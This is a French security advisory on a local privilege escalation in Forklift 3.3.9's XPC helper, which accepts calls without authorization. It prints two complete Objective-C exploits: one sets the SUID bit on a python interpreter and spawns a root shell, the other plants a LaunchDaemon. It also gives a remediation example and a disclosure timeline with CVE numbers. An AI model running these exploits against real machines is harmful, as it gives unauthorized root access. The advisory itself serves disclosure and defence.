Forklift 3.3.9 Élévation de privilèges locaux

Lors de l'installation de Forklift, un nouvel assistant appelé com.binarynights.ForkLiftHelper pour Mac OS X est automatiquement installé dans le répertoire /Library/PrivilegedHelperTools/. L'analyse de cet assistant, qui gère les messages XPC, a révélé différentes manières d'élever les privilèges de l'utilisateur à root sur Mac OS X.

Lors de l'acceptation d'appels XPC, la fonction HelperTool listener:shouldAcceptNewConnection, respectivement (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection est utilisée par défaut. Cette fonction sert à établir les étapes initiales d'une connexion XPC. Normalement, cette fonction effectue l'autorisation de l'appelant — cependant, la fonction de com.binarynights.ForkLiftHelper n'implémente aucun contrôle d'autorisation. Ainsi, il est possible d'appeler toutes les fonctions exposées via XPC sans autorisation.

Les fonctions suivantes sont exposées via XPC à l'appelant :

@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

Exploitation via Setuid

La première méthode pour exploiter cet assistant est la suivante :

Étape 1 : chown de l'interpréteur cible

Copiez, par exemple, l'interpréteur python dans un répertoire contrôlable par l'utilisateur et appelez la fonction XPC changeOwner avec le paramètre @"<chemin>" owner:0 group:0. Cela changera le propriétaire de l'interpréteur python en root.

Étape 2 : Positionnement du flag SUID

Ensuite, il est possible de positionner le bit SUID sur l'interpréteur en envoyant une requête XPC à la fonction changePermissions avec le paramètre suivant @"<chemin>" permissions:2541. Les permissions 2541 correspondent en octal au nombre 4755, ce qui positionne le flag SUID sur le binaire.

Étape 3 : Élévation de privilèges locaux (LPE)

La commande suivante va lancer un shell en tant que root :

$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]

Exploit complet

Assurez-vous d'abord d'avoir copié un interpréteur python dans /tmp avec le nom python_copied. L'exploit suivant illustre cette LPE :

//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//  
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        
        NSLog(@"Done!");
    }
    return 0;
}

Exploitation via LaunchAgent

La deuxième méthode pour exploiter cet assistant est la suivante :

Écriture d'un nouvel agent de démarrage (Launch Agent)

Grâce à l'appel XPC moveItem, il est possible de déplacer n'importe quel élément en tant que root. Ainsi, il est possible d'écrire un fichier plist dans le répertoire /tmp, puis de le copier dans le répertoire /Library/LaunchDaemons/. Les paramètres suivants sont utilisés pour la fonction moveItem : @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist".

Exploit complet

Le code suivant ajoute automatiquement un nouvel agent de démarrage qui se déclenche au redémarrage :

//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
        "<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
        "<plist version=\"1.0\">"
        "<dict>"
        "  <key>Label</key>"
        "  <string>com.sample.Load</string>"
        "  <key>ProgramArguments</key>"
        "  <array>"
        "      <string>/bin/zsh</string>"
      "      <string>-c</string>"
      "      <string>touch /Library/foobar.txt</string>"
        "  </array>"
        "    <key>RunAtLoad</key>"
        "    <true/>"
        "</dict>"
        "</plist>";
        
        [my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] moveItem:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        NSLog(@"Done!");
    }
    return 0;
}

Recommandation

Il est recommandé d'imposer une autorisation lors de l'appel à l'assistant XPC.

Ces contrôles d'autorisation devraient inclure :

L'appelant est une application signée valide.
L'application appelante est bien durcie contre les attaques d'injection DYLIB (flag runtime).
L'application appelante a le TeamID correct de l'éditeur de logiciel.

Une excellente ressource pour les contrôles d'autorisation se trouve à la source [1].

L'exemple suivant de fonction shouldAcceptNewConnection illustre les différentes étapes des contrôles d'autorisation corrects :

@interface NSXPCConnection(PrivateAuditToken)

// This property exists, but it's private. Make it available:
@property (nonatomic, readonly) audit_token_t auditToken;

@end

// In the NSXPCListenerDelegate:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
   audit_token_t auditToken = connection.auditToken;
   NSData *tokenData = [NSData dataWithBytes:&auditToken length:sizeof(audit_token_t)];
   NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit : tokenData};
   SecCodeRef code = NULL;
   if (SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes, kSecCSDefaultFlags, &code) != errSecSuccess) {
       return NO;
   }
   // Before checking the requirement make sure that code signing flags
   // CS_HARD and CS_KILL are set. Dynamic code signature checks can only
   // check the code pages already swapped into memory, so make sure that
   // no malicious code can be loaded at a later time. You may want to
   // disable this check in debug builds.
   CFDictionaryRef csInfo = NULL;
   if (SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo) != errSecSuccess) {
       return NO;
   } else {
       uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
       CFRelease(csInfo);
       const uint32_t cs_hard = 0x100;         // don't load invalid pages
       const uint32_t cs_kill = 0x200;         // kill process if page is invalid
       const uint32_t cs_restrict = 0x800;     // prevent debugging
       const uint32_t cs_require_lv = 0x2000;  // Library Validation
       const uint32_t cs_runtime = 0x10000;    // hardened runtime
       if ((csFlags & (cs_hard | cs_kill)) != (cs_hard | cs_kill)) {
           // add all flags to check which are in your code signature!
           // In particular, we recommend cs_require_lv and cs_restrict.
           return NO;    // Not accepted because it can be tampered with
       }
   }

   NSString *requirementString = @"anchor apple generic and certificate leaf[subject.OU] = \"MyTeamIdentifier\"";
   SecRequirementRef requirement = NULL;

   // Check at least the peer's TeamID, e.g.
   // "anchor apple generic and certificate leaf[subject.OU] = MyTeamIdentifier"
   if (SecRequirementCreateWithString((__bridge CFStringRef)requirementString, kSecCSDefaultFlags, &requirement) != errSecSuccess) {
       abort(); // error in requirement string
   }

   OSStatus status = SecCodeCheckValidityWithErrors(code, kSecCSDefaultFlags, requirement, NULL);
   CFRelease(code);
   CFRelease(requirement);
   if (status != errSecSuccess) {
       return NO;
   }

   // further initialization of connection goes here...

   return YES;
}

Calendrier de divulgation

08.06.2020 Contact initial pour l'adresse mail
08.06.2020 Réponse pour envoyer le même mail non chiffré
09.06.2020 Demande de suivi pour le chiffrement
10.06.2020 Accord pour une divulgation chiffrée
12.06.2020 Divulgation de la LPE
15.06.2020 Correction partielle de CVE-2020-15349 (LPE)
16.06.2020 Divulgation de la LPE par Entitlements
19.06.2020 Divulgation de la correction seulement partielle de CVE-2020-15349
19.08.2020 Correction de CVE-2020-27192 et correction finale de CVE-2020-15349

Ressources

[1] - https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/

Forklift_LPE

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